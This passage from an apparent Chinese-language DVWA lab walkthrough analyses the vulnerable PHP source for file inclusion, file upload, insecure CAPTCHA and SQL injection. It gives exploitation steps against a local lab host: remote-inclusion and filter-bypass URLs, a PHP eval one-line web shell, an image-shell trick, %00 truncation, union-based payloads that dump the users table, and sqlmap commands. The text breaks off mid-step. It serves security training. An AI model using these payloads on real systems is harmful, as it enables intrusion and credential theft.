) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-Impossible

要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击,结合业务进行具体的设计

File Inclusion(文件包含)

File Inclusion,意思是文件包含(漏洞),是指当服务器开启alLow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的alLow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

包含,往往用在复用的地方,比如你写了一个连接数据库的方法,我直接ctrl+c,ctrl+v就可以用,不用我自己再写,当然是使用include关键字来引用你的方法

DVWA是通过文件包含,来调用file1.php/file2.php/file3.php

源码分析-Low

<?php// The page we wish to display
//直接获取page参数,未做任何过滤
$file = $_GET[ 'page' ];?>

复现过程-Low

先点击一下看看,发现page的参数值,就是点击的文件名

点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

修改URL

http://192.168.31.155/DVWA-master/vulnerabilities/fi/?page=C:\phpstudy\PHPTutorial\WWW\DVWA-master\php.ini

获取了php.ini

再开一个站点,访问这个站点

访问

192.168.31.155/DVWA-master/vulnerabilities/fi/?page=http://192.168.31.103/phpinfo.php

还可以进行编码

源码分析-Medium

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>

复现过程-Meduim

原本为

192.168.31.155/DVWA-master/vulnerabilities/fi/?page=http://192.168.31.103/phpinfo.php

过滤后

192.168.31.155/DVWA-master/vulnerabilities/fi/?page= 192.168.31.103/phpinfo.php

构造一个新的

hthttp://tp://192.168.31.103/phpinfo.txt

过滤后

http://192.168.31.103/phpinfo.txt

过滤前

…/./

过滤后

…/

构造

http://192.168.31.155/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.31.103/phpinfo.php

源码分析-High

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

file协议

中文意思:本地文件传输协议

什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。

如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。

复现过程-High

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,构造如下URL

http://192.168.31.155/DVWA-master/vulnerabilities/fi/?page=file:///C:\phpstudy\PHPTutorial\WWW\DVWA-master\php.ini

文件上传与文件包含

文件包含是指调用文件,可以调用本地的文件,也可以调用远程的文件

文件上传是指上传一个文件,如果上传一个木马,上传后往往需要调用执行

所以,文件上传与文件包含经常会打组合拳

源码分析-Impossible

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only alLow include.php or file{1..3}.php
//file变量只能为include.php、file1、file2、file3其中一个
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

复现过程-Impossible

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

File Upload(文件上传)

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

DVWA是让用户上传一个图片

源码分析-Low

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?
//文件的目标路径hackable/uploads/,也就是文件上传的位置$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// basename(path,suffix)函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?
//移动用户上传文件至目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}

复现过程-Low

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。不幸的是,这里三个条件全都满足。

上传一个一句话

<?php @eval($_POST['zy']);?>

复制路径

拼接

192.168.31.155/DVWA-master/vulnerabilities/upload/…/…/hackable/uploads/1.php

复制URL

http://192.168.31.155/DVWA-master/hackable/uploads/1.php

使用菜刀

中国菜刀原理

当上传一句话木马后

<?php @eval($_POST['zy']);?>

当木马上传成功后,服务器在获取zy参数,而菜刀输入的密码就是这个参数,意味着,输完访问的木马路径,以及密码(参数)

后,菜刀就会把封装好的请求都变成界面功能,换句话说

这一功能请求都是封装好的请求

比如,点击虚拟终端,就是讲打开cmd或者shell的命令作为参数发给zy,服务器直接执行

源码分析-Medium

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?
//文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

复现过程-Medium

l 后缀名绕过

既然只能png文件,那我们就修改后缀

将刚刚的1.php修改为1.jpg

抓包

http://192.168.31.155/DVWA-master/hackable/uploads/1.php

使用菜刀来展示才能吧

l 文件上传+文件包含组合拳

上传1.jpg

服务器把这个图片马当图片解析了

菜刀访问

http://192.168.31.155/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.31.155/dvwa/hackable/uploads/1.png

但是好像不能执行命令啦

l %00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

比如

https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt

加上%00

https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php

就绕过了后缀限制,可以上传webshell啦。

有了这个基础,修改文件名为

zerocut.php%00.png

源码分析-High

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?
// strtoLower把所有字符转换为小写
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。if( ( strtoLower( $uploaded_ext ) == "jpg" || strtoLower( $uploaded_ext ) == "jpeg" || strtoLower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

复现过程-High

这里貌似可以用00截断的方式

这里引进图片马

制作图片马

画个画

将1.php(一句话木马)与正常图片合并

copy 11.jpg/b+1.php/a 11.jpg

b表示二进制文件

a表示ASCII码文件

查看生成的1.jpg(密集恐惧症勿看)

成功上传

菜刀访问

http://192.168.31.155/DVWA-master/hackable/uploads/11.jpg

源码分析-Impossible

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
//上传文件的文件前缀md5加密$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
//in_get(varname)
函数返回相应选项的值$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtoLower( $uploaded_ext ) == 'jpg' || strtoLower( $uploaded_ext ) == 'jpeg' || strtoLower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {
//imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识,失败返回false$img = imagecreatefromjpeg( $uploaded_tmp );
//imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)。imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}
// imagedestroy( img )
函数销毁图像资源imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-Impossible

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

Insecure CAPTCHA(不安全的验证码/不安全的验证流程)

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅

DVWA中主要是输入当前的密码以及新密码,用来修改密码

源码分析-Low

<?php//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form
//隐藏验证码表单$hide_form = true;// Get input
//得到用户的新密码及确认新密码$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly
//验证失败时$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-Low

总结一下,这个主要分为两个阶段

第一阶段

验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码

第二阶段

如果如果两次输入的密码一致,就进行修改

那么如果能绕过第一阶段,是不是只要两次密码输入一致就能修改了?

抓包

修改step参数,改为第二阶段

修改成功

当然,想起了csrf模块的修改密码,原理基本类似,没有token机制,所以可以创建一个web站点,诱导用户点击

可以看到,代码中将表单隐藏,直接就提交step为2,进入第二阶段

源码分析-Medium

<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "
// 对参数passed_captcha进行验证,如果通过身份验证,该参数就为true<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;}// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-Medium

与Low相比,增加了第一阶段的判断,设置一个标志位passed_capt,如果身份验证通过了,就设置为true

抓包看一下,好像没有提交该参数啊

那么我们就主动添加一个参数passed_captcha

step=2&password_new=bbb&password_conf=bbb&Change=Change&passed_captcha=true

同样可以使用csrf,创建如下站点,诱导用户进入这个站点

源码分析-High

<?phpif( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);
//(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for userecho "<pre>Password Changed.</pre>";} else {// Ops. Password mismatch$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} else {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-High

可以看到,验证过程已经不分步走了,都合在一个阶段里面了

服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

抓包

改变两个参数

g-recaptcha-response=hidd3n_valu3

http包头的

User-Agent:reCAPTCHA

源码分析-Impossible

<?phpif( isset( $_POST[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_new  = stripslashes( $pass_new );$pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new  = md5( $pass_new );$pass_conf = $_POST[ 'password_conf' ];$pass_conf = stripslashes( $pass_conf );$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_conf = md5( $pass_conf );$pass_curr = $_POST[ 'password_current' ];$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectlyecho "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new password match and was the current password correct?if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {// Update the database$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the end user - success!echo "<pre>Password Changed.</pre>";}else {// Feedback for the end user - failed!echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";$hide_form = false;}}
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-Impossible

结合业务,需要输入以前的密码

SQL Injection(SQL注入)

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠的就是常见的SQL注入漏洞。

DVWA中主要根据用户ID查询用户信息

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

源码分析-Low

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input
//获取ID字段$id = $_REQUEST[ 'id' ];// Check database
//拼接SQL语句并查询$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

复现过程-Low

套公式

1.判断是否存在注入,注入是字符型还是数字型

输入1,可以查到admin

1’ and 1 = 2 –

1’ and 1 = 1 –

输入1’ and 1 = 2 – ,查询失败,返回结果为空

输入1’ and 1 = 1 – ,查询成功

2.猜解SQL查询语句中的字段数

输入1’ or true order by 1 – ,查询成功,说明有第一列,也就有一个字段

输入1’ or true order by 2 – ,查询成功,说明有第二列,也就是有俩字段

输入1’ or true order by 3 – ,查询失败,说明只有俩字段

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

(这里也可以通过输入union select 1,2,3…来猜解字段数)

输入1’ union select 1 – 报错

输入1’ union select 1,2 – 成功

3.确定显示的字段顺序

输入1’ union select 1,2 –

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

4.获取当前数据库

输入1’ union select 1,database() –

1’ union select version(),database()#

5.获取数据库中的表

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

6.获取表中的字段名

1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#

7.下载数据

1’ union select user,password from users#

SqlMap

测试sql注入神器

将查询请求放入txt

GET /DVWA-master/vulnerabilities/sqli/?id=111&Submit=Submit HTTP/1.1Host: 192.168.31.155User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.31.155/DVWA-master/vulnerabilities/sqli/?id=1%27+union+select+user%2Cpassword+from+users%23&Submit=SubmitCookie: security=Low; PHPSESSID=dkph2bkrlqqgvsnsm4f5kiipu6DNT: 1Connection: closeUpgrade-Insecure-Requests: 1

爆出数据库

sqlmap -r a.txt --dbs --batch

–current-db是获取当前正在使用的数据库

指定数据库,爆表

sqlmap -r a.txt -D dvwa --tables --batch

指定表爆列

sqlmap -r a.txt -D dvwa -T information --columns --batch

源码分析-Medium

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];//user中x00,n,r,,’,”,x1a转义,防SQL注入$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);

复现过程-Medium

用了下拉选择菜单,并且使用转义预防SQL注入

套公式

1.判断是否存在注入,注入是字符型还是数字型

输入1 and 1 = 1 – ,查询成功

2.猜解SQL查询语句中的字段数

输入1 or true order by 2 – ,查询成功,说明有第二列,也就是有俩字段

输入1 union select 1,2 – 成功

3.确定显示的字段顺序

